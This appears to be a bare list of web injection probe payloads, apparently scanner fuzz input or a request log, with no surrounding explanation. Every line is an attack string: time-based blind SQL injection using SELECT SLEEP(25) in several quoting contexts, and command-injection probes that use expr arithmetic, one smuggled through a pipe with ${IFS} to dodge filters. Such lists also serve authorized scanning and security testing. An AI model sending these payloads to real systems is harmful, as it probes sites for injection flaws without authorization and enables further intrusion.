3
-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))
|expr${IFS}268409241${IFS}-${IFS}88439
-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'
expr 268409241 - 3748
'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'
expr 268409241 - 27038;